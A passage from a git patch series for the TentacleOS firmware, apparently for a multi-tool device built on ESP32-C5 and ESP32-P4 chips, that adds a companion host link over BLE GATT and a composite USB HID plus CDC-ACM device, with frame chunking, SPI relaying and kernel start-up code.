uint16_t attr, struct ble_gatt_access_ctxt *ctxt, void *arg) { + (void)conn; + (void)attr; + (void)arg; + if (ctxt->op != BLE_GATT_ACCESS_OP_WRITE_CHR) { + return BLE_ATT_ERR_UNLIKELY; + } + uint16_t len = OS_MBUF_PKTLEN(ctxt->om); + if (len == 0 || len > sizeof(s_rx_buf)) { + return 0; + } + os_mbuf_copydata(ctxt->om, 0, len, s_rx_buf); + host_transport_send_to_p4(s_rx_buf, len); + return 0; +} + +static int tx_access(uint16_t conn, uint16_t attr, struct ble_gatt_access_ctxt *ctxt, void *arg) { + (void)conn; + (void)attr; + (void)ctxt; + (void)arg; + return 0; +} + +static int gap_event(struct ble_gap_event *event, void *arg) { + (void)arg; + switch (event->type) { + case BLE_GAP_EVENT_CONNECT: + if (event->connect.status == 0) { + s_conn_handle = event->connect.conn_handle; + s_is_connected = true; + s_is_subscribed = false; + ESP_LOGI(TAG, "Companion connected handle=%u", s_conn_handle); + ble_gattc_exchange_mtu(s_conn_handle, NULL, NULL); + } else { + ESP_LOGW(TAG, "Connect failed status=%d", event->connect.status); + advertise_start(); + } + break; + + case BLE_GAP_EVENT_DISCONNECT: + ESP_LOGI(TAG, "Companion disconnected reason=0x%x", event->disconnect.reason); + s_conn_handle = BLE_HS_CONN_HANDLE_NONE; + s_is_connected = false; + s_is_subscribed = false; + host_transport_reset(); + advertise_start(); + break; + + case BLE_GAP_EVENT_MTU: + ESP_LOGI(TAG, "MTU updated to %u", event->mtu.value); + break; + + case BLE_GAP_EVENT_SUBSCRIBE: + if (event->subscribe.attr_handle == s_tx_attr_handle) { + s_is_subscribed = (event->subscribe.cur_notify != 0); + ESP_LOGI(TAG, "TX subscribe=%d", s_is_subscribed); + } + break; + + case BLE_GAP_EVENT_ENC_CHANGE: + ESP_LOGI(TAG, "Encryption status=%d", event->enc_change.status); + break; + + case BLE_GAP_EVENT_REPEAT_PAIRING: { + struct ble_gap_conn_desc desc; + if (ble_gap_conn_find(event->repeat_pairing.conn_handle, &desc) != 0) { + return BLE_GAP_REPEAT_PAIRING_IGNORE; + } + ble_store_util_delete_peer(&desc.peer_id_addr); + return BLE_GAP_REPEAT_PAIRING_RETRY; + } + + default: + break; + } + return 0; +} + +static void advertise_start(void) { + struct ble_gap_adv_params adv = { + .conn_mode = BLE_GAP_CONN_MODE_UND, + .disc_mode = BLE_GAP_DISC_MODE_GEN, + }; + + struct ble_hs_adv_fields fields = {0}; + fields.flags = BLE_HS_ADV_F_DISC_GEN | BLE_HS_ADV_F_BREDR_UNSUP; + fields.tx_pwr_lvl_is_present = 1; + fields.tx_pwr_lvl = BLE_HS_ADV_TX_PWR_LVL_AUTO; + fields.name = (uint8_t *)s_device_name; + fields.name_len = strlen(s_device_name); + fields.name_is_complete = 1; + ble_gap_adv_set_fields(&fields); + + struct ble_hs_adv_fields rsp = {0}; + rsp.uuids128 = (ble_uuid128_t *)&HOST_SERVICE_UUID; + rsp.num_uuids128 = 1; + rsp.uuids128_is_complete = 1; + ble_gap_adv_rsp_set_fields(&rsp); + + int rc = ble_gap_adv_start(s_own_addr_type, NULL, BLE_HS_FOREVER, &adv, gap_event, NULL); + if (rc != 0 && rc != BLE_HS_EALREADY) { + ESP_LOGE(TAG, "adv_start failed rc=%d", rc); + return; + } + ESP_LOGI(TAG, "Advertising '%s'", s_device_name); +} + +static void on_sync(void) { + ble_hs_util_ensure_addr(0); + ble_hs_id_infer_auto(0, &s_own_addr_type); + advertise_start(); +} + +static void on_reset(int reason) { + ESP_LOGW(TAG, "NimBLE reset reason=%d", reason); +} + +static void host_task(void *param) { + (void)param; + ESP_LOGI(TAG, "NimBLE host task running"); + nimble_port_run(); + nimble_port_freertos_deinit(); +} diff --git a/firmware_c5/components/Service/host_link/host_transport.c b/firmware_c5/components/Service/host_link/host_transport.c new file mode 100644 index 000000000..dc85d10a9 --- /dev/null +++ b/firmware_c5/components/Service/host_link/host_transport.c @@ -0,0 +1,205 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "host_transport.h" + +#include + +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/semphr.h" + +#include "host_link_gatt.h" +#include "spi_bridge.h" + +static const char *TAG = "HOST_TRANSPORT"; + +#define TRANSPORT_TX_FRAME_MAX 4096 +#define TRANSPORT_CHUNK_HDR_SIZE sizeof(spi_mesh_chunk_hdr_t) +#define TRANSPORT_MUTEX_TIMEOUT_MS 50 + +typedef struct { + bool is_active; + uint8_t seq; + uint8_t total_chunks; + uint8_t next_chunk_idx; + uint16_t accumulated_len; + uint8_t buf[TRANSPORT_TX_FRAME_MAX]; +} host_reassembly_t; + +static bool s_is_initialized = false; +static SemaphoreHandle_t s_mutex = NULL; +static host_reassembly_t s_tx_in = {0}; +static uint8_t s_rx_seq = 0; + +static bool take_mutex(void); +static void give_mutex(void); + +esp_err_t host_transport_init(void) { + if (s_is_initialized) { + return ESP_OK; + } + s_mutex = xSemaphoreCreateMutex(); + if (s_mutex == NULL) { + ESP_LOGE(TAG, "Failed to create transport mutex"); + return ESP_ERR_NO_MEM; + } + memset(&s_tx_in, 0, sizeof(s_tx_in)); + s_rx_seq = 0; + s_is_initialized = true; + spi_bridge_stream_enable(SPI_ID_HOST_RX, true); + ESP_LOGI(TAG, "Transport initialized"); + return ESP_OK; +} + +void host_transport_inject_tx_chunk(const uint8_t *payload, uint8_t len) { + if (payload == NULL || len < (uint8_t)TRANSPORT_CHUNK_HDR_SIZE) { + return; + } + if (!take_mutex()) { + return; + } + + spi_mesh_chunk_hdr_t hdr; + memcpy(&hdr, payload, sizeof(hdr)); + const uint8_t *data = payload + sizeof(hdr); + uint8_t data_len = (uint8_t)(len - sizeof(hdr)); + + if (hdr.total_chunks == 0) { + give_mutex(); + return; + } + + if (hdr.chunk_idx == 0) { + s_tx_in.is_active = true; + s_tx_in.seq = hdr.seq; + s_tx_in.total_chunks = hdr.total_chunks; + s_tx_in.next_chunk_idx = 0; + s_tx_in.accumulated_len = 0; + } else if (!s_tx_in.is_active) { + give_mutex(); + return; + } + + if (hdr.seq != s_tx_in.seq || hdr.chunk_idx != s_tx_in.next_chunk_idx || + hdr.total_chunks != s_tx_in.total_chunks) { + s_tx_in.is_active = false; + give_mutex(); + return; + } + + if ((uint16_t)(s_tx_in.accumulated_len + data_len) > sizeof(s_tx_in.buf)) { + s_tx_in.is_active = false; + give_mutex(); + return; + } + + memcpy(s_tx_in.buf + s_tx_in.accumulated_len, data, data_len); + s_tx_in.accumulated_len = (uint16_t)(s_tx_in.accumulated_len + data_len); + s_tx_in.next_chunk_idx++; + + if (s_tx_in.next_chunk_idx >= s_tx_in.total_chunks) { + static uint8_t snapshot[TRANSPORT_TX_FRAME_MAX]; + uint16_t snapshot_len = s_tx_in.accumulated_len; + memcpy(snapshot, s_tx_in.buf, snapshot_len); + s_tx_in.is_active = false; + give_mutex(); + + host_link_gatt_notify(snapshot, snapshot_len); + return; + } + + give_mutex(); +} + +bool host_transport_send_to_p4(const uint8_t *frame, uint16_t len) { + if (frame == NULL || len == 0) { + return false; + } + if (!spi_bridge_stream_is_enabled(SPI_ID_HOST_RX)) { + return false; + } + + uint16_t total_u16 = + (uint16_t)((len + SPI_MESH_CHUNK_PAYLOAD_MAX - 1) / SPI_MESH_CHUNK_PAYLOAD_MAX); + if (total_u16 == 0 || total_u16 > 255) { + return false; + } + uint8_t total_chunks = (uint8_t)total_u16; + uint8_t seq; + if (take_mutex()) { + seq = s_rx_seq++; + give_mutex(); + } else { + return false; + } + + uint8_t buf[SPI_MESH_PAYLOAD_LIMIT]; + spi_mesh_chunk_hdr_t hdr; + uint16_t offset = 0; + + for (uint8_t idx = 0; idx < total_chunks; idx++) { + uint16_t remaining = (uint16_t)(len - offset); + uint16_t this_chunk = + remaining > SPI_MESH_CHUNK_PAYLOAD_MAX ? SPI_MESH_CHUNK_PAYLOAD_MAX : remaining; + + hdr.seq = seq; + hdr.chunk_idx = idx; + hdr.total_chunks = total_chunks; + hdr.flags = (idx == (uint8_t)(total_chunks - 1)) ? SPI_MESH_CHUNK_FLAG_LAST : 0; + + memcpy(buf, &hdr, sizeof(hdr)); + memcpy(buf + sizeof(hdr), frame + offset, this_chunk); + + uint8_t push_len = (uint8_t)(sizeof(hdr) + this_chunk); + if (!spi_bridge_stream_push(SPI_ID_HOST_RX, buf, push_len)) { + return false; + } + offset += this_chunk; + } + return true; +} + +void host_transport_get_status(spi_host_status_t *out_status) { + if (out_status == NULL) { + return; + } + out_status->ble_connected = host_link_gatt_is_connected() ? 1 : 0; + out_status->ble_subscribed = host_link_gatt_is_subscribed() ? 1 : 0; + out_status->reserved[0] = 0; + out_status->reserved[1] = 0; +} + +void host_transport_reset(void) { + if (!take_mutex()) { + return; + } + memset(&s_tx_in, 0, sizeof(s_tx_in)); + s_rx_seq = 0; + give_mutex(); +} + +static bool take_mutex(void) { + if (s_mutex == NULL) { + return false; + } + return xSemaphoreTake(s_mutex, pdMS_TO_TICKS(TRANSPORT_MUTEX_TIMEOUT_MS)) == pdTRUE; +} + +static void give_mutex(void) { + if (s_mutex != NULL) { + xSemaphoreGive(s_mutex); + } +} diff --git a/firmware_c5/components/Service/host_link/include/c5_log.h b/firmware_c5/components/Service/host_link/include/c5_log.h new file mode 100644 index 000000000..5a31573fe --- /dev/null +++ b/firmware_c5/components/Service/host_link/include/c5_log.h @@ -0,0 +1,38 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef C5_LOG_H +#define C5_LOG_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "esp_err.h" + +// C5 log tee. Hooks esp_log_set_vprintf so every ESP_LOGx line is still printed +// on the local C5 dev console AND copied (ANSI stripped) into a drop-oldest +// ring. A worker forwards each line to the P4 over the SPI_ID_SYSTEM_LOG stream +// as [level u8][utf-8 text]; the P4 relays it to the companion as a LOG frame +// with source=C5. + +/** @brief Install the C5 log tee and start the forwarding worker. */ +esp_err_t c5_log_init(void); + +#ifdef __cplusplus +} +#endif + +#endif // C5_LOG_H diff --git a/firmware_c5/components/Service/host_link/include/host_link_gatt.h b/firmware_c5/components/Service/host_link/include/host_link_gatt.h new file mode 100644 index 000000000..084023fdc --- /dev/null +++ b/firmware_c5/components/Service/host_link/include/host_link_gatt.h @@ -0,0 +1,56 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef HOST_LINK_GATT_H +#define HOST_LINK_GATT_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include + +#include "esp_err.h" + +// Companion host-link GATT server on the C5 (NimBLE). A NUS-style service with +// a write characteristic (app→device) and a notify characteristic +// (device→app). Opaque byte relay — all crypto/auth is on the P4. Mirrors +// meshcore_gatt, but uses "just works" LE Secure Connections (no MITM) since +// the host-link PSK/HMAC envelope is the real trust boundary. + +/** @brief Start the GATT server and begin advertising as "-XXXX". */ +esp_err_t host_link_gatt_init(const char *name_prefix); + +/** @brief Stop advertising / GATT and tear down the NimBLE host. */ +void host_link_gatt_stop(void); + +/** @brief True while the GATT server is running. */ +bool host_link_gatt_is_running(void); + +/** @brief True while a companion is connected. */ +bool host_link_gatt_is_connected(void); + +/** @brief True while the companion has enabled notifications on the TX char. */ +bool host_link_gatt_is_subscribed(void); + +/** @brief Notify the connected companion with a reassembled device→app frame. */ +void host_link_gatt_notify(const uint8_t *frame, uint16_t len); + +#ifdef __cplusplus +} +#endif + +#endif // HOST_LINK_GATT_H diff --git a/firmware_c5/components/Service/host_link/include/host_transport.h b/firmware_c5/components/Service/host_link/include/host_transport.h new file mode 100644 index 000000000..57b99edce --- /dev/null +++ b/firmware_c5/components/Service/host_link/include/host_transport.h @@ -0,0 +1,58 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef HOST_TRANSPORT_H +#define HOST_TRANSPORT_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include + +#include "esp_err.h" +#include "spi_protocol.h" + +// Companion host-link transport on the C5: chunk/reassemble opaque host frames +// between BLE (host_link_gatt) and the SPI bridge to the P4. The C5 never parses +// payloads — it only moves bytes. Mirrors meshcore_transport. + +/** @brief Init the transport (mutex, reassembly state) and enable the RX stream. */ +esp_err_t host_transport_init(void); + +/** + * @brief Feed one P4→C5 chunk (from SPI_ID_HOST_TX). Reassembles per seq and, + * on the last chunk, notifies the reassembled frame over BLE. + */ +void host_transport_inject_tx_chunk(const uint8_t *payload, uint8_t len); + +/** + * @brief Chunk a BLE-received frame and push it to the P4 over the + * SPI_ID_HOST_RX stream. Called from the GATT write handler. + */ +bool host_transport_send_to_p4(const uint8_t *frame, uint16_t len); + +/** @brief Fill the BLE connection status for SPI_ID_HOST_STATUS. */ +void host_transport_get_status(spi_host_status_t *out_status); + +/** @brief Clear reassembly + sequence state (on disconnect / stop). */ +void host_transport_reset(void); + +#ifdef __cplusplus +} +#endif + +#endif // HOST_TRANSPORT_H diff --git a/firmware_c5/components/Service/spi_bridge/bt_dispatcher.c b/firmware_c5/components/Service/spi_bridge/bt_dispatcher.c index cec564aa3..19b58212e 100644 --- a/firmware_c5/components/Service/spi_bridge/bt_dispatcher.c +++ b/firmware_c5/components/Service/spi_bridge/bt_dispatcher.c @@ -24,6 +24,8 @@ #include "ble_sniffer.h" #include "session_manager.h" #include "bluetooth_service.h" +#include "host_link_gatt.h" +#include "host_transport.h" #include "meshcore_gatt.h" #include "meshcore_transport.h" #include "meshtastic_gatt.h" @@ -229,6 +231,39 @@ spi_status_t bt_dispatcher_execute(spi_id_t id, return SPI_STATUS_OK; } + case SPI_ID_HOST_BLE_INIT: { + if (len < sizeof(spi_host_init_t)) { + return SPI_STATUS_INVALID_ARG; + } + spi_host_init_t req; + memcpy(&req, payload, sizeof(req)); + req.name_prefix[sizeof(req.name_prefix) - 1] = '\0'; + if (host_transport_init() != ESP_OK) { + return SPI_STATUS_ERROR; + } + esp_err_t ret = host_link_gatt_init(req.name_prefix); + if (ret == ESP_ERR_INVALID_STATE) { + return SPI_STATUS_OK; + } + return (ret == ESP_OK) ? SPI_STATUS_OK : SPI_STATUS_ERROR; + } + + case SPI_ID_HOST_BLE_STOP: + host_link_gatt_stop(); + return SPI_STATUS_OK; + + case SPI_ID_HOST_TX: + host_transport_inject_tx_chunk(payload, len); + return SPI_STATUS_OK; + + case SPI_ID_HOST_STATUS: { + spi_host_status_t status; + host_transport_get_status(&status); + memcpy(out_resp_payload, &status, sizeof(status)); + *out_resp_len = sizeof(status); + return SPI_STATUS_OK; + } + default: return SPI_STATUS_ERROR; } diff --git a/firmware_c5/components/Service/spi_bridge/spi_bridge.c b/firmware_c5/components/Service/spi_bridge/spi_bridge.c index 80f47af10..30319eced 100644 --- a/firmware_c5/components/Service/spi_bridge/spi_bridge.c +++ b/firmware_c5/components/Service/spi_bridge/spi_bridge.c @@ -329,6 +329,7 @@ static void bridge_task(void *pvParameters) { break; case SPI_CAT_BT: case SPI_CAT_MCORE: + case SPI_CAT_HOST: status = bt_dispatcher_execute(cmd, cmd_payload, header->length, resp_payload, &resp_len); break; case SPI_CAT_MESH: From 03d4a9d37d15798653f1e71e905f2d14c0928ea7 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Sat, 6 Jun 2026 22:31:13 -0300 Subject: [PATCH 049/572] feat(host-link): companion protocol over USB CDC and BLE on the P4 --- firmware_p4/components/Core/kernel.c | 13 + .../Drivers/tusb_desc/include/tusb_desc.h | 12 +- .../components/Drivers/tusb_desc/tusb_desc.c | 63 ++- firmware_p4/components/Service/CMakeLists.txt | 6 + .../components/Service/host_link/host_link.c | 406 ++++++++++++++++++ .../Service/host_link/host_link_ble.c | 289 +++++++++++++ .../Service/host_link/host_link_c5log.c | 46 ++ .../Service/host_link/host_link_cdc.c | 140 ++++++ .../Service/host_link/host_link_files.c | 250 +++++++++++ .../Service/host_link/host_link_log.c | 149 +++++++ .../Service/host_link/host_link_sec.c | 234 ++++++++++ .../Service/host_link/host_link_state.c | 199 +++++++++ .../Service/host_link/host_link_stream.c | 203 +++++++++ .../Service/host_link/include/host_link.h | 171 ++++++++ .../Service/host_link/include/host_link_ble.h | 53 +++ .../host_link/include/host_link_files.h | 54 +++ .../Service/host_link/include/host_link_sec.h | 103 +++++ .../host_link/include/host_link_state.h | 61 +++ .../host_link/include/host_link_stream.h | 64 +++ firmware_p4/sdkconfig.defaults | 10 + 20 files changed, 2511 insertions(+), 15 deletions(-) create mode 100644 firmware_p4/components/Service/host_link/host_link.c create mode 100644 firmware_p4/components/Service/host_link/host_link_ble.c create mode 100644 firmware_p4/components/Service/host_link/host_link_c5log.c create mode 100644 firmware_p4/components/Service/host_link/host_link_cdc.c create mode 100644 firmware_p4/components/Service/host_link/host_link_files.c create mode 100644 firmware_p4/components/Service/host_link/host_link_log.c create mode 100644 firmware_p4/components/Service/host_link/host_link_sec.c create mode 100644 firmware_p4/components/Service/host_link/host_link_state.c create mode 100644 firmware_p4/components/Service/host_link/host_link_stream.c create mode 100644 firmware_p4/components/Service/host_link/include/host_link.h create mode 100644 firmware_p4/components/Service/host_link/include/host_link_ble.h create mode 100644 firmware_p4/components/Service/host_link/include/host_link_files.h create mode 100644 firmware_p4/components/Service/host_link/include/host_link_sec.h create mode 100644 firmware_p4/components/Service/host_link/include/host_link_state.h create mode 100644 firmware_p4/components/Service/host_link/include/host_link_stream.h diff --git a/firmware_p4/components/Core/kernel.c b/firmware_p4/components/Core/kernel.c index ae03e99dd..8166c34bb 100644 --- a/firmware_p4/components/Core/kernel.c +++ b/firmware_p4/components/Core/kernel.c @@ -37,6 +37,10 @@ #include "tos_log.h" #include "wifi_service.h" #include "console_service.h" +#include "host_link.h" +#include "host_link_ble.h" +#include "host_link_state.h" +#include "host_link_stream.h" #include "lv_port_disp.h" #include "lv_port_indev.h" #include "ui_manager.h" @@ -99,6 +103,15 @@ void kernel_init(void) { wifi_service_init(); xTaskCreate(console_task, "console_task", CONSOLE_TASK_STACK, NULL, CONSOLE_TASK_PRIO, NULL); + // Companion host link (USB CDC). Bridge must be up first (commands relay to C5). + host_link_state_init(); // load toggle settings before the link comes up + host_link_stream_init(); // streaming + heartbeat proxy state + host_link_init(); + host_link_cdc_init(); + host_link_log_init(); + host_link_c5log_init(); // relay C5 logs (SPI_ID_SYSTEM_LOG) as source=C5 LOG frames + host_link_ble_init(); // BLE relay infra; advertising starts on demand + vTaskDelay(pdMS_TO_TICKS(BOOT_SETTLE_MS)); } diff --git a/firmware_p4/components/Drivers/tusb_desc/include/tusb_desc.h b/firmware_p4/components/Drivers/tusb_desc/include/tusb_desc.h index ddf115728..ee307193e 100644 --- a/firmware_p4/components/Drivers/tusb_desc/include/tusb_desc.h +++ b/firmware_p4/components/Drivers/tusb_desc/include/tusb_desc.h @@ -23,7 +23,17 @@ extern "C" { #include "esp_err.h" #include "tinyusb.h" -#define TUSB_DESC_ITF_NUM_HID 0 +// Composite device interfaces: HID (BadUSB) + CDC-ACM (companion host link). +// CDC uses two interfaces (comm + data), so the data interface is CDC+1. +#define TUSB_DESC_ITF_NUM_HID 0 +#define TUSB_DESC_ITF_NUM_CDC 1 // comm; data interface = 2 +#define TUSB_DESC_ITF_NUM_TOTAL 3 + +// Endpoint addresses +#define TUSB_DESC_EP_HID_IN 0x81 +#define TUSB_DESC_EP_CDC_NOTIF 0x82 +#define TUSB_DESC_EP_CDC_OUT 0x03 +#define TUSB_DESC_EP_CDC_IN 0x83 /** * @brief Initialize the TinyUSB driver with HID composite descriptors. diff --git a/firmware_p4/components/Drivers/tusb_desc/tusb_desc.c b/firmware_p4/components/Drivers/tusb_desc/tusb_desc.c index d3cd45326..9845424be 100644 --- a/firmware_p4/components/Drivers/tusb_desc/tusb_desc.c +++ b/firmware_p4/components/Drivers/tusb_desc/tusb_desc.c @@ -20,6 +20,7 @@ #include "esp_log.h" #include "driver/gpio.h" #include "tinyusb.h" +#include "tinyusb_default_config.h" static const char *TAG = "TUSB_DESC"; @@ -41,17 +42,19 @@ static const char *TAG = "TUSB_DESC"; #define STR_IDX_MANUFACTURER 1 #define STR_IDX_PRODUCT 2 #define STR_IDX_SERIAL 3 +#define STR_IDX_CDC 4 -#define CONFIG_TOTAL_LEN (TUD_CONFIG_DESC_LEN + TUD_HID_DESC_LEN) +#define CONFIG_TOTAL_LEN (TUD_CONFIG_DESC_LEN + TUD_HID_DESC_LEN + TUD_CDC_DESC_LEN) -// Device Descriptor — USB 2.0, class defined at interface level +// Device Descriptor — USB 2.0 composite (HID + CDC). The CDC IAD requires the +// Miscellaneous device class so the host groups the CDC interfaces correctly. static const tusb_desc_device_t s_desc_device = { .bLength = sizeof(tusb_desc_device_t), .bDescriptorType = TUSB_DESC_DEVICE, .bcdUSB = 0x0200, - .bDeviceClass = 0x00, - .bDeviceSubClass = 0x00, - .bDeviceProtocol = 0x00, + .bDeviceClass = TUSB_CLASS_MISC, + .bDeviceSubClass = MISC_SUBCLASS_COMMON, + .bDeviceProtocol = MISC_PROTOCOL_IAD, .bMaxPacketSize0 = CFG_TUD_ENDPOINT0_SIZE, .idVendor = USB_VENDOR_ID, .idProduct = USB_PRODUCT_ID, @@ -68,25 +71,37 @@ static const uint8_t s_desc_hid_report[] = { TUD_HID_REPORT_DESC_MOUSE(HID_REPORT_ID(HID_REPORT_ID_MOUSE)), }; -// Configuration Descriptor — 1 interface (HID), remote wakeup enabled +// Configuration Descriptor — composite: HID (BadUSB) + CDC-ACM (companion link) static const uint8_t s_desc_configuration[] = { - TUD_CONFIG_DESCRIPTOR( - 1, 1, 0, CONFIG_TOTAL_LEN, TUSB_DESC_CONFIG_ATT_REMOTE_WAKEUP, USB_MAX_POWER_MA), + TUD_CONFIG_DESCRIPTOR(1, + TUSB_DESC_ITF_NUM_TOTAL, + 0, + CONFIG_TOTAL_LEN, + TUSB_DESC_CONFIG_ATT_REMOTE_WAKEUP, + USB_MAX_POWER_MA), TUD_HID_DESCRIPTOR(TUSB_DESC_ITF_NUM_HID, 0, HID_ITF_PROTOCOL_KEYBOARD, sizeof(s_desc_hid_report), - 0x81, + TUSB_DESC_EP_HID_IN, CFG_TUD_HID_EP_BUFSIZE, USB_HID_POLL_INTERVAL_MS), + TUD_CDC_DESCRIPTOR(TUSB_DESC_ITF_NUM_CDC, + STR_IDX_CDC, + TUSB_DESC_EP_CDC_NOTIF, + 8, + TUSB_DESC_EP_CDC_OUT, + TUSB_DESC_EP_CDC_IN, + 64), }; // String Descriptors static const char *s_string_desc_arr[] = { - (char[]){0x09, 0x04}, // Language ID: English (US) - "HighCode", // Manufacturer - "BadUSB Device", // Product - "123456", // Serial Number + (char[]){0x09, 0x04}, // Language ID: English (US) + "HighCode", // Manufacturer + "BadUSB Device", // Product + "123456", // Serial Number + "TentacleOS Companion", // CDC interface (host link) }; #define STRING_DESC_COUNT (sizeof(s_string_desc_arr) / sizeof(s_string_desc_arr[0])) @@ -157,10 +172,23 @@ void tud_hid_set_report_cb(uint8_t instance, } esp_err_t busb_init(void) { + // HID (BadUSB) and CDC (companion) share one TinyUSB install — whoever calls + // first brings the composite up; later calls are no-ops. + static bool s_installed = false; + if (s_installed) { + return ESP_OK; + } + ESP_LOGI(TAG, "Initializing TinyUSB driver..."); - // ESP32-P4 High Speed USB requires GPIO ISR service + // ESP32-P4 High Speed USB requires GPIO ISR service. It may already be up + // (buttons_init installs it earlier at boot), in which case the driver logs + // an ERROR before returning ESP_ERR_INVALID_STATE — harmless for us, so we + // silence the "gpio" tag around the call and treat "already installed" as OK. + esp_log_level_t gpio_log_level = esp_log_level_get("gpio"); + esp_log_level_set("gpio", ESP_LOG_NONE); esp_err_t err = gpio_install_isr_service(0); + esp_log_level_set("gpio", gpio_log_level); if (err != ESP_OK && err != ESP_ERR_INVALID_STATE) { ESP_LOGE(TAG, "Failed to install GPIO ISR service: %s", esp_err_to_name(err)); return err; @@ -171,6 +199,12 @@ esp_err_t busb_init(void) { const tinyusb_config_t tusb_cfg = { .port = TINYUSB_PORT_HIGH_SPEED_0, + .task = + { + .size = TINYUSB_DEFAULT_TASK_SIZE, + .priority = TINYUSB_DEFAULT_TASK_PRIO, + .xCoreID = TINYUSB_DEFAULT_TASK_AFFINITY, + }, .descriptor = { .device = &s_desc_device, @@ -193,6 +227,7 @@ esp_err_t busb_init(void) { return err; } + s_installed = true; ESP_LOGI(TAG, "TinyUSB driver installed"); return ESP_OK; } diff --git a/firmware_p4/components/Service/CMakeLists.txt b/firmware_p4/components/Service/CMakeLists.txt index d93fb4835..babf4dfd8 100644 --- a/firmware_p4/components/Service/CMakeLists.txt +++ b/firmware_p4/components/Service/CMakeLists.txt @@ -20,6 +20,7 @@ file(GLOB_RECURSE C5_FLASHER_SRCS "c5_flasher/*.c") file(GLOB_RECURSE SPI_BRIDGE_SRCS "spi_bridge/*.c") file(GLOB_RECURSE BRIDGE_MANAGER_SRCS "bridge_manager/*.c") file(GLOB_RECURSE BT_SERVICE_SRCS "bluetooth/*.c") +file(GLOB_RECURSE HOST_LINK_SRCS "host_link/*.c") file(GLOB_RECURSE STORAGE_API_SRCS "storage_api/*.c") file(GLOB_RECURSE STORAGE_VFS_SRCS "storage_vfs/*.c") file(GLOB_RECURSE STORAGE_ASSETS_SRCS "storage_assets/*.c") @@ -64,6 +65,7 @@ idf_component_register(SRCS ${SPI_BRIDGE_SRCS} ${BRIDGE_MANAGER_SRCS} ${BT_SERVICE_SRCS} + ${HOST_LINK_SRCS} "ota/ota_service.c" @@ -79,6 +81,7 @@ idf_component_register(SRCS "sd_card/include" "console/include" "spi_bridge/include" + "host_link/include" "c5_flasher/include" "bridge_manager/include" "bluetooth/include" @@ -105,6 +108,9 @@ idf_component_register(SRCS argtable3 app_update esp-serial-flasher + esp_tinyusb + mbedtls + esp_hw_support ) # Embed C5 firmware images into Service component (used by c5_flasher). diff --git a/firmware_p4/components/Service/host_link/host_link.c b/firmware_p4/components/Service/host_link/host_link.c new file mode 100644 index 000000000..e0cf33d34 --- /dev/null +++ b/firmware_p4/components/Service/host_link/host_link.c @@ -0,0 +1,406 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "host_link.h" + +#include + +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/semphr.h" + +#include "host_link_files.h" +#include "host_link_sec.h" +#include "host_link_state.h" +#include "host_link_stream.h" +#include "spi_bridge.h" +#include "spi_protocol.h" +#include "spi_timeouts.h" + +static const char *TAG = "HOST_LINK"; + +// Largest host frame we accept/emit. Commands are small; file-write chunks and +// stream batches are the big ones — keep some headroom. +#define HOST_LINK_MAX_FRAME 4096 +#define HOST_LINK_BODY_HDR 3 // type + category + op +#define HOST_LINK_LOG_TEXT_MAX 240 // per-LOG-frame text cap (keeps the payload small) + +static host_link_writer_t s_writer = NULL; +static host_link_writer_t s_ble_writer = NULL; // identifies the BLE transport +static uint8_t s_acc[HOST_LINK_MAX_FRAME]; // reassembly accumulator +static size_t s_acc_len = 0; +static uint32_t s_tx_counter = 0; +static SemaphoreHandle_t s_lock = NULL; + +static void process_frame(const uint8_t *frame, size_t total); +static void handle_hello(const uint8_t *payload, uint16_t plen); +static void dispatch_cmd(uint8_t category, uint8_t op, const uint8_t *payload, uint8_t plen); +static uint8_t status_from_err(esp_err_t err); +static void emit_frame(uint8_t type, uint8_t category, uint8_t op, const uint8_t *payload, + uint16_t payload_len); +static void send_resp(uint8_t category, uint8_t op, uint8_t status, const uint8_t *data, + uint16_t data_len); + +esp_err_t host_link_init(void) { + if (s_lock == NULL) { + s_lock = xSemaphoreCreateMutex(); + if (s_lock == NULL) + return ESP_ERR_NO_MEM; + } + 